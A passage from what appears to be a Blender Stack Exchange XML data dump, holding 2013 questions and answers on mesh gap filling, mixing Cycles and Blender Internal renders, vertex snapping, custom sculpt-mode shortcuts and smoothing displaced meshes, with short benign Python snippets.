&lt;strong&gt;This only works when the amount of edges are equal in both loops&lt;/strong&gt;, but it will give a nice and cleaner result.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Or you can just select an edgeloop and use &lt;kbd&gt;Alt&lt;/kbd&gt;+&lt;kbd&gt;F&lt;/kbd&gt; to fill the gaps. &lt;em&gt;(I added an edgeloop to the middle of the frame in the image below before filling and aligned it accordingly with the other mesh so it stayed flat.)&lt;/em&gt; You can do the same or use one of the existing ones depending on what you are going for.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/zO92Qm.png&quot; alt=&quot;Fill Gaps Before&quot;&gt;&#xA;&lt;img src=&quot;https://i.stack.imgur.com/3jgvRm.png&quot; alt=&quot;Fill Gaps After&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="12" LastEditorUserId="12" LastEditDate="2013-07-11T09:37:39.067" LastActivityDate="2013-07-11T09:37:39.067" CommentCount="7" ContentLicense="CC BY-SA 3.0" />
  <row Id="1756" PostTypeId="1" AcceptedAnswerId="1758" CreationDate="2013-07-10T12:29:32.813" Score="18" ViewCount="5059" Body="&lt;p&gt;Is it possible to have a mesh coloured and textured in cycles and then have it displayed in internal?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The only reason I ask is because I am building a log cabin and want to put some windows in. When I have done glass in cycles (Nodes) it looks much better (realistic) but when I try to do this and go back into blender internal to finish the rest of the log cabin off the window and the mesh surrounding the window becomes undefined and discoloured.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is this because I am trying to put cycles into internal or because I am doing something wrong?&lt;/p&gt;&#xA;" OwnerUserId="620" LastEditorUserId="12" LastEditDate="2013-07-10T12:51:45.990" LastActivityDate="2014-11-21T06:39:00.423" Title="Can I use Cycles materials with Blender Internal?" Tags="&lt;cycles-render-engine&gt;&lt;materials&gt;&lt;blender-internal-render-engine&gt;" AnswerCount="3" CommentCount="0" FavoriteCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="1757" PostTypeId="2" ParentId="1756" CreationDate="2013-07-10T12:46:57.513" Score="5" Body="&lt;p&gt;&lt;strong&gt;You can't use cycles and blender internal materials in the same scene.&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can make a copy or link from the current scene, change render engine and materials in it and use the compositor to combine the two scenes. Adjusting renderlayers in the cycles one so that only the glass is visible, and hiding it in internal should be possible. You can have nodes of both render engines in the same material setup, but you need a scene for both engines to render both.&lt;/p&gt;&#xA;" OwnerUserId="263" LastEditorUserId="263" LastEditDate="2013-07-10T14:49:33.770" LastActivityDate="2013-07-10T14:49:33.770" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="1758" PostTypeId="2" ParentId="1756" CreationDate="2013-07-10T13:00:19.507" Score="13" Body="&lt;p&gt;You can do something like what your asking with multiple scenes. Bear in mind, you will have a lot of extra work/tweaking/headaches when you have to adjust two scenes, but if it's necessary it's worth the trouble. Just link objects that shouldn't change between scenes (i.e. camera/lights)&lt;/p&gt;&#xA;&#xA;&lt;h2&gt;&lt;b&gt;Scene Setup&lt;/b&gt;&lt;/h2&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Create a new scene&lt;/li&gt;&#xA;&lt;li&gt;Move your cycles object (the windows) to &quot;Scene.001&quot; (&lt;kbd&gt;Ctrl&lt;/kbd&gt;&lt;kbd&gt;L&lt;/kbd&gt; &gt; &lt;em&gt;Objects to Scene&lt;/em&gt; &gt; Scene.001 and and delete the object from &quot;Scene&quot;)&lt;/li&gt;&#xA;&lt;li&gt;Select &quot;Scene.001&quot; and go to the world settings:&lt;br&gt;&#xA;&lt;img src=&quot;https://i.stack.imgur.com/Rh3jH.png&quot; alt=&quot;world settings&quot;&gt;&lt;/li&gt;&#xA;&lt;li&gt;Add a new world&lt;/li&gt;&#xA;&lt;li&gt;Set your render engine to Cycles&lt;/li&gt;&#xA;&lt;li&gt;Switch back to &quot;scene&quot;. You should notice that the render engine will change between the two scenes.&lt;/li&gt;&#xA;&lt;li&gt;Link your camera and lights to &quot;Scene.001&quot; (but don't delete them from &quot;scene&quot;). You can now move your camera and lights around and they will have the same location/rotation/scale in both of the scenes.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;Render both scenes with &lt;a href=&quot;https://blender.stackexchange.com/questions/1303/can-blender-render-pngs-with-the-background-transparent&quot;&gt;transparent skies&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;h2&gt;Compositing&lt;/h2&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Go to the compositor.&lt;/li&gt;&#xA;&lt;li&gt;Enable Compositing Nodes&lt;/li&gt;&#xA;&lt;li&gt;Add a new &lt;em&gt;Render Layers&lt;/em&gt; node and select &quot;Scene.001&quot; from the drop down.&lt;/li&gt;&#xA;&lt;li&gt;Add an alpha over node and plug them in so that one scene is on top of the other.&#xA;&lt;img src=&quot;https://i.stack.imgur.com/649sn.png&quot; alt=&quot;Node Setup&quot;&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;You will now have a Cycles object rendered in a Blender Internal scene.&lt;/p&gt;&#xA;" OwnerUserId="20" LastEditorUserId="-1" LastEditDate="2017-04-13T12:57:42.870" LastActivityDate="2013-07-10T14:37:00.847" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="1759" PostTypeId="1" CreationDate="2013-07-10T14:08:26.383" Score="5" ViewCount="3896" Body="&lt;p&gt;I want each individual vertex of my selection to snap to the closest unselected ones, so they superpose each other.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Im aware of the vertex snapping utility along the &quot;closest&quot; mode but it only work on &quot;one&quot; vertex, and thus will move the entire selection.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I could do it by hand but it would become tiresome with hundred of vertices.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Precision: I'd like it to work in UV editor too.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I hope I'm clear, Thank you.&lt;/p&gt;&#xA;" OwnerUserId="929" LastEditorUserId="929" LastEditDate="2013-07-10T14:40:55.003" LastActivityDate="2013-07-10T17:07:30.117" Title="Snap individual vertex of the selection to closest vertex" Tags="&lt;modeling&gt;&lt;geometry&gt;&lt;vertices&gt;" AnswerCount="2" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="1760" PostTypeId="2" ParentId="1759" CreationDate="2013-07-10T14:31:26.340" Score="3" Body="&lt;p&gt;If you don't mind if the extra vertices are removed, you can use remove doubles and in the tool settings (&lt;kbd&gt;F6&lt;/kbd&gt;), set the merge distance to something higher (probably in the range of .01 and .1). This will merge close vertices that are closer than a the merge distance.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/2JTVr.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="20" LastActivityDate="2013-07-10T14:31:26.340" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="1762" PostTypeId="2" ParentId="1754" CreationDate="2013-07-10T16:03:40.657" Score="3" Body="&lt;p&gt;There is a very powerful and useful addon in blender called &quot;Looptools&quot; which can do this. To see a quick demo, &lt;a href=&quot;http://youtu.be/Jnuj7BfTnVc?t=5m4s&quot; rel=&quot;nofollow&quot;&gt;you can refer to this video.&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To know how to activate it, watch the video from the &lt;a href=&quot;http://youtu.be/Jnuj7BfTnVc&quot; rel=&quot;nofollow&quot;&gt;beginning&lt;/a&gt; .&lt;/p&gt;&#xA;" OwnerUserId="778" LastEditorUserId="12" LastEditDate="2013-07-10T16:55:56.503" LastActivityDate="2013-07-10T16:55:56.503" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="1763" PostTypeId="2" ParentId="1759" CreationDate="2013-07-10T17:05:35.853" Score="0" Body="&lt;p&gt;Perhaps the &lt;em&gt;Selection to Grid&lt;/em&gt; option from the (&lt;kbd&gt;Shift&lt;/kbd&gt;+&lt;kbd&gt;S&lt;/kbd&gt;) &lt;a href=&quot;http://wiki.blender.org/index.php/Doc:2.6/Manual/3D_interaction/Transform_Control/Snap#Snap&quot; rel=&quot;nofollow&quot;&gt;snap menu&lt;/a&gt; could be of use? It moves each selected object/point to the nearest grid point.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The grid can be configured in the &lt;a href=&quot;http://wiki.blender.org/index.php/Doc:2.6/Manual/3D_interaction/Navigating/3D_View_Options#Display&quot; rel=&quot;nofollow&quot;&gt;Display panel&lt;/a&gt; of the &lt;a href=&quot;http://wiki.blender.org/index.php/Doc:2.6/Manual/3D_interaction/Navigating/3D_View_Options#View_Properties_Panel&quot; rel=&quot;nofollow&quot;&gt;3D View's Properties shelf&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="290" LastEditorUserId="12" LastEditDate="2013-07-10T17:07:30.117" LastActivityDate="2013-07-10T17:07:30.117" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1764" PostTypeId="2" ParentId="1645" CreationDate="2013-07-10T18:02:50.933" Score="3" Body="&lt;p&gt;My current solution to this problem, ugly as it is, is to have a modal operator watch output file's size at interval. Size doesn't change = render is finished, which works here because I'm only rendering audio files, so the process should be fast enough. Here's the relevant chunk of &lt;a href=&quot;https://github.com/adhihargo/layout_tools/blob/eed8939e1f13b9b3e69534dae7f3e1c924aa0712/layout_tools.py&quot; rel=&quot;nofollow&quot;&gt;the code&lt;/a&gt;:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;def check_render_file(self, context):&#xA;&#xA;    # ... initialization ...&#xA;&#xA;    if not self.prev_stat:&#xA;        self.prev_stat = os.stat(context.scene.render.filepath)&#xA;&#xA;        return {'PASS_THROUGH'}&#xA;&#xA;    cur_stat = os.stat(context.scene.render.filepath)&#xA;&#xA;    if self.prev_stat.st_size != cur_stat.st_size:&#xA;        self.prev_stat = cur_stat&#xA;&#xA;        return {'PASS_THROUGH'}&#xA;&#xA;    # ... cleanup, next render ...&#xA;&#xA;    return {'FINISHED'}&#xA;&#xA;def modal(self, context, event):&#xA;    if event.type == 'TIMER':&#xA;        return self.check_render_file(context)&#xA;&#xA;    return {'PASS_THROUGH'}        &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="185" LastActivityDate="2013-07-10T18:02:50.933" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1765" PostTypeId="1" AcceptedAnswerId="1767" CreationDate="2013-07-10T19:48:58.010" Score="8" ViewCount="2411" Body="&lt;p&gt;So I created a Cube in Blender and then I created an Empty beside the Cube (in object mode). Now, when I move the Empty around, the Cube follows... Why? &lt;/p&gt;&#xA;" OwnerUserId="928" LastEditorUserId="12" LastEditDate="2014-11-13T00:51:34.407" LastActivityDate="2014-11-13T00:51:34.407" Title="Why is an object stuck to another?" Tags="&lt;objects&gt;" AnswerCount="2" CommentCount="2" FavoriteCount="1" ClosedDate="2013-07-10T22:53:20.377" ContentLicense="CC BY-SA 3.0" />
  <row Id="1766" PostTypeId="2" ParentId="1765" CreationDate="2013-07-10T19:59:25.723" Score="2" Body="&lt;p&gt;Sounds like the cube is parented to the empty, making it follow it's transformations. You can remove the parenting by selecting the cube and pressing &lt;kbd&gt;Alt&lt;/kbd&gt;&lt;kbd&gt;P&lt;/kbd&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Parenting relations can be set up by first selecting the child object(s), and then adding the parent object to selection making it the active object, and hitting &lt;kbd&gt;Ctrl&lt;/kbd&gt;&lt;kbd&gt;P&lt;/kbd&gt;&lt;/p&gt;&#xA;" OwnerUserId="263" LastActivityDate="2013-07-10T19:59:25.723" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1767" PostTypeId="2" ParentId="1765" CreationDate="2013-07-10T20:42:12.290" Score="9" Body="&lt;p&gt;You more than likely hit &lt;kbd&gt;O&lt;/kbd&gt; by accident, this enables proportional editing in &lt;em&gt;object mode&lt;/em&gt; just as it does in &lt;em&gt;edit mode&lt;/em&gt; and can cause nearby objects to mimic the one(s) being transformed.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Just turn it off by clicking the blue icon or by pressing &lt;kbd&gt;O&lt;/kbd&gt; again.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/8FslP.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="12" LastActivityDate="2013-07-10T20:42:12.290" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1768" PostTypeId="1" AcceptedAnswerId="1770" CreationDate="2013-07-11T00:33:23.097" Score="15" ViewCount="3640" Body="&lt;p&gt;I &lt;strong&gt;&lt;a href=&quot;http://wiki.blender.org/index.php/Doc:2.6/Manual/Interface/Modes&quot;&gt;read in the blender 2.6 wiki&lt;/strong&gt;&lt;/a&gt; that there is no shortcut for sculpt mode. I would like to make &lt;kbd&gt;Ctrl&lt;/kbd&gt;+&lt;kbd&gt;Alt&lt;/kbd&gt;+&lt;kbd&gt;Tab&lt;/kbd&gt; the shortcut to switch to sculpt mode, but based on the instructions for making new shortcuts I read &lt;a href=&quot;http://www.blender.org/development/release-logs/blender-256-beta/custom-keyboard-shortcuts/&quot;&gt;&lt;strong&gt;here&lt;/strong&gt;&lt;/a&gt; and &lt;a href=&quot;http://cgcookie.com/blender/2011/04/05/tip-adding-custom-hotkeys-with-right-click/&quot;&gt;&lt;strong&gt;here&lt;/strong&gt;&lt;/a&gt;, it doesn't seem to work for me (because I'm doing it wrong).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How can I add this new shortcut?&lt;/p&gt;&#xA;" OwnerUserId="417" LastEditorUserId="12" LastEditDate="2013-07-11T01:16:48.443" LastActivityDate="2013-12-30T11:51:30.860" Title="Adding a custom shortcut for sculpt mode" Tags="&lt;shortcut&gt;&lt;customization&gt;" AnswerCount="3" CommentCount="0" FavoriteCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="1769" PostTypeId="2" ParentId="1768" CreationDate="2013-07-11T01:14:43.450" Score="4" Body="&lt;p&gt;There is probably a better or more efficient way of doing this but this is one way to go about it..&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The command for entering sculpt mode is &lt;code&gt;bpy.ops.sculpt.sculptmode_toggle()&#xA;&lt;/code&gt;. You can put this into a small script and register the desired shortcut&amp;hellip;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;import bpy&#xA;&#xA;class EnterSculptMode(bpy.types.Operator):&#xA;    bl_idname = &quot;object.enter_sculpt_mode&quot;&#xA;    bl_label = &quot;Toggle Sculpt Mode&quot;&#xA;&#xA;    def execute(self, context):&#xA;        bpy.ops.sculpt.sculptmode_toggle()&#xA;        return {'FINISHED'}&#xA;&#xA;def menu_func(self, context):&#xA;    self.layout.operator(EnterSculptMode.bl_idname)&#xA;&#xA;addon_kmaps = []&#xA;&#xA;def register():&#xA;    bpy.utils.register_class(EnterSculptMode)&#xA;&#xA;    wm = bpy.context.window_manager&#xA;    km = wm.keyconfigs.addon.keymaps.new(name='Object Mode', space_type='EMPTY')&#xA;    # change the shortcut here..&#xA;    kmi = km.keymap_items.new(EnterSculptMode.bl_idname, 'TAB', 'PRESS', ctrl=True, shift=True)&#xA;    addon_kmaps.append(km)&#xA;&#xA;def unregister():&#xA;    bpy.utils.unregister_class(EnterSculptMode)&#xA;    bpy.types.VIEW3D_MT_object.remove(menu_func)&#xA;&#xA;    wm = bpy.context.window_manager&#xA;    for km in addon_kmaps:&#xA;        wm.keyconfigs.addon.kmaps.remove(km)&#xA;    del addon_kmaps[:]&#xA;&#xA;if __name__ == &quot;__main__&quot;:&#xA;    register()&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;After running this, you should get a new &lt;kbd&gt;Space&lt;/kbd&gt; menu item with keyboard shortcuts attached..&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/PTTbx.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&amp;hellip;you should now be able to enter &lt;em&gt;sculpt mode&lt;/em&gt; using &lt;kbd&gt;Ctrl&lt;/kbd&gt;&lt;kbd&gt;Shift&lt;/kbd&gt;+&lt;kbd&gt;Tab&lt;/kbd&gt;. It is easy enough to modify the shortcuts &lt;em&gt;(as I think this conflicts with another)&lt;/em&gt;, see the commented line in the script.&lt;/p&gt;&#xA;" OwnerUserId="12" LastEditorUserId="12" LastEditDate="2013-07-11T01:45:40.007" LastActivityDate="2013-07-11T01:45:40.007" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1770" PostTypeId="2" ParentId="1768" CreationDate="2013-07-11T01:42:20.923" Score="13" Body="&lt;p&gt;There is a quite easy way to do it via the user preferences. You have to add the toggle in the input tab, 3d view, Object Non-modal section. Practically it's set up the same way the switches to weight paint and pose mode that are already there are.&lt;img src=&quot;https://i.stack.imgur.com/19tYd.png&quot; alt=&quot;The settings in user prefs&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="263" LastActivityDate="2013-07-11T01:42:20.923" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="1771" PostTypeId="2" ParentId="1768" CreationDate="2013-07-11T01:47:53.940" Score="14" Body="&lt;p&gt;Starting with Blender 2.68 (earlier versions have a bug):&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;In the 3D view header click Object Mode to open the menu&lt;/li&gt;&#xA;&lt;li&gt;Right click on Sculpt Mode and choose Add Shortcut.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="242" LastActivityDate="2013-07-11T01:47:53.940" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1772" PostTypeId="2" ParentId="1666" CreationDate="2013-07-11T03:29:35.917" Score="1" Body="&lt;p&gt;If you start Blender from a terminal, you can press &lt;kbd&gt;Ctrl&lt;/kbd&gt; + &lt;kbd&gt;Z&lt;/kbd&gt; in the terminal to pause it, and type &lt;code&gt;fg&lt;/code&gt; and hit &lt;kbd&gt;Enter&lt;/kbd&gt; to resume it.&lt;/p&gt;&#xA;" OwnerUserId="443" LastEditorUserId="12" LastEditDate="2013-07-13T14:55:36.550" LastActivityDate="2013-07-13T14:55:36.550" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1773" PostTypeId="1" CreationDate="2013-07-11T07:20:16.223" Score="10" ViewCount="418" Body="&lt;p&gt;I have tried to make an animated pen draw a solid, curving line - with limited results! I tried dynamic paint, but couldn't get a decent line, just a big fuzzy mess! The best I could do was with a particle system, but that is made of dots and, the faster the pen moves the further apart the dots appear - not quite like the kind of line a pen makes. I don't want a pre-determined (animated) line, I just want it to draw wherever I make the pen go. Is this easy, or a bit of a tall order?&lt;/p&gt;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;Dynamic Paint&lt;/p&gt;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/wAK4Z.png&quot; alt=&quot;Using Dynamic Paint&quot; /&gt;&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Particle System&lt;/p&gt;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/oE0ke.png&quot; alt=&quot;Using aParticle System&quot; /&gt;&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="470" LastEditorUserId="-1" LastEditDate="2020-06-10T12:57:44.663" LastActivityDate="2013-07-11T09:31:50.620" Title="Can I make a pen draw a solid line?" Tags="&lt;dynamic-paint&gt;" AnswerCount="1" CommentCount="0" FavoriteCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="1774" PostTypeId="2" ParentId="1773" CreationDate="2013-07-11T09:12:53.693" Score="9" Body="&lt;p&gt;&lt;strong&gt;There is more than likely a better way to go about this&amp;hellip;&lt;/strong&gt; but for the time being, it seems this can occur for several reasons, such as how dense your canvas is and the size of the part of the &lt;em&gt;'brush'&lt;/em&gt; touching the canvas etc.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Using the default &lt;em&gt;canvas&lt;/em&gt; and &lt;em&gt;brush&lt;/em&gt; settings for the most part, you can get around this easily enough by cranking up the number of subdivisions in your canvas mesh and optionally by increasing your Sub-Steps.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/5Qu1X.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="12" LastEditorUserId="12" LastEditDate="2013-07-11T09:31:50.620" LastActivityDate="2013-07-11T09:31:50.620" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="1775" PostTypeId="1" AcceptedAnswerId="1776" CreationDate="2013-07-11T10:51:44.160" Score="4" ViewCount="3502" Body="&lt;p&gt;Following on from this question `&lt;a href=&quot;https://blender.stackexchange.com/questions/1756/can-i-use-cycles-materials-with-blender-internal&quot;&gt;Can I use Cycles materials with Blender Internal?&lt;/a&gt; When following the instructions the solution worked fine but when i tried to apply it to multiple windows I came across this problem&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/O6yT3m.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/O6yT3.jpg&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;em&gt;(larger image here)&lt;/em&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When I render the picture (F12) as you can see the glass has no effect on the first picture and the glass can be seen through the mesh of my wall. So I added an add node and I got the effect of the glass to show but no matter what I have tried to do I still cannot get the back windows to be hidden behind the mesh of the front wall. Is there a way to solve this.&lt;/p&gt;&#xA;" OwnerUserId="620" LastEditorUserId="-1" LastEditDate="2017-04-13T12:57:39.140" LastActivityDate="2013-07-20T00:49:06.880" Title="Composite transparent overlapping objects from different scenes?" Tags="&lt;materials&gt;&lt;compositor&gt;&lt;nodes&gt;" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1776" PostTypeId="2" ParentId="1775" CreationDate="2013-07-11T12:39:16.693" Score="5" Body="&lt;p&gt;The issue your having is masking. You have to have a mask of some sort to get the windows behind the rest of the building. I've come up with a (rather imperfect) solution, as long as you assign a different material to the inside of the building. &lt;strong&gt;Note that the following is assuming that you have completed the steps in &quot;&lt;a href=&quot;https://blender.stackexchange.com/questions/1756/can-i-use-cycles-materials-with-blender-internal&quot;&gt;Can I use Cycles materials with Blender Internal?&lt;/a&gt;&quot;&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;In the outside building material for &quot;scene&quot;, scroll down to options and set &lt;em&gt;Pass Index&lt;/em&gt; to 1 (or 2 or whatever, as long as nothing else in the scene has the same pass number).&lt;img src=&quot;https://i.stack.imgur.com/mUadI.png&quot; alt=&quot;pass index&quot;&gt;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Create a second indoor material and assign it's pass index to something other than 2 (or leave it at the default 0).&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Go to your render layers and enable &lt;em&gt;Material Index&lt;/em&gt;.&#xA;&lt;img src=&quot;https://i.stack.imgur.com/oVYgH.png&quot; alt=&quot;enable material index in the render layers&quot;&gt;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Rerender the scene and go to the compositor. You should now see a new plug output called &lt;em&gt;IndexMA&lt;/em&gt;.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Add an &lt;em&gt;IDMask&lt;/em&gt; node, plug in &lt;em&gt;IndexMA&lt;/em&gt; to &lt;em&gt;IDValue&lt;/em&gt; and set &lt;em&gt;Index&lt;/em&gt; to whatever value the outdoor material's index is (and check anti-aliasing).&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Add an Invert node and plug in the output of the IDMask node.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Plug the output of the of the Invert node into the &lt;em&gt;Fac&lt;/em&gt; of the Alpha over node.&#xA;&lt;img src=&quot;https://i.stack.imgur.com/G2BUA.png&quot; alt=&quot;node setup&quot;&gt;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="20" LastEditorUserId="-1" LastEditDate="2017-04-13T12:57:42.577" LastActivityDate="2013-07-11T12:39:16.693" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="1777" PostTypeId="1" AcceptedAnswerId="1784" CreationDate="2013-07-11T15:57:20.013" Score="10" ViewCount="4946" Body="&lt;p&gt;Whenever I use a &lt;em&gt;Displace Modifier&lt;/em&gt;, it looks like it does no interpolation of my height map.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/ajc9l.jpg&quot; alt=&quot;Aliased&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Green is how it should be, Red how it is. Notice how the mesh is dense. The texture I use as height-map is extremely smooth, it should produce a really nice mesh instead of this &quot;aliasing effect&quot;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I tried to set the number of vertices to the resolution of the height-map (Loop-cut x time on x-axis and y time on y-axis for a x*y height-map) but it produces the same strange mesh.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How can I get a good looking and precise displacement, independently of the mesh resolution ?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Solutions without the displacement modifier are accepted if they exist, but I must use the full resolution of my height-map as I must produce a precise work.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To clarify more what I'm looking for, here, nearly how it should looks like (not all the height-map points are used):&#xA;&lt;img src=&quot;https://i.stack.imgur.com/EXkWN.png&quot; alt=&quot;Correct&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I made some further testing. Here a picture with 2 lines. Top left to down right is &quot;anti-aliased&quot; the other is not.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/uO0jR.png&quot; alt=&quot;Height-map to test&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I tested it on a 512*512 vertices plane (510 Loop-cuts on x and 510 on y) Here is the result :&#xA;&lt;img src=&quot;https://i.stack.imgur.com/CPtiv.png&quot; alt=&quot;enter image description here&quot;&gt;&#xA;Strange enough, the line which is anti-aliased has more aliasing with the displacement modifier. Problem is, LIDAR datas are &quot;antialiased&quot; (data from real world, like a photo). Setting the colour space to linear improves the quality. In texture panel, a filter size above 2 creates nice but wrong geometry.&lt;/p&gt;&#xA;" OwnerUserId="296" LastEditorUserId="12" LastEditDate="2013-12-18T15:23:01.277" LastActivityDate="2013-12-18T16:01:36.570" Title="Smooth displaced mesh" Tags="&lt;modifiers&gt;" AnswerCount="4" CommentCount="1" FavoriteCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="1778" PostTypeId="2" ParentId="1777" CreationDate="2013-07-11T18:01:38.057" Score="1" Body="&lt;h1&gt;Smooth shading&lt;/h1&gt;&#xA;&#xA;&lt;p&gt;For a smooth transition between faces you need to enable &lt;a href=&quot;http://wiki.blender.org/index.php/Doc:2.6/Manual/Modeling/Meshes/Smoothing#Smooth_shading&quot; rel=&quot;nofollow noreferrer&quot;&gt;smooth shading&lt;/a&gt;:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/kvfBo.png&quot; alt=&quot;Flat shading&quot;&gt;&#xA;&lt;img src=&quot;https://i.stack.imgur.com/5M15n.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;The easiest way is to set an entire object as smooth or faceted by selecting a mesh object, and in Object mode, click Smooth in the Tool Shelf. This button does not stay pressed; it forces the assignment of the “smoothing” attribute to each face in the mesh, including when you add or delete geometry. &lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;h1&gt;Mesh smoothing&lt;/h1&gt;&#xA;&#xA;&lt;p&gt;To smooth the mesh use the &lt;a href=&quot;http://wiki.blender.org/index.php/Doc:2.6/Manual/Modifiers/Deform/Smooth&quot; rel=&quot;nofollow noreferrer&quot;&gt;Smooth modifier&lt;/a&gt;:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;This modifier smooths a mesh by flattening the angles between adjacent faces in it, just like Smooth in the Editing context. So it smooths without subdividing the mesh – the number of vertices remains the same. &lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;" OwnerUserId="290" LastEditorUserId="290" LastEditDate="2013-07-14T15:37:27.567" LastActivityDate="2013-07-14T15:37:27.567" CommentCount="7" ContentLicense="CC BY-SA 3.0" />
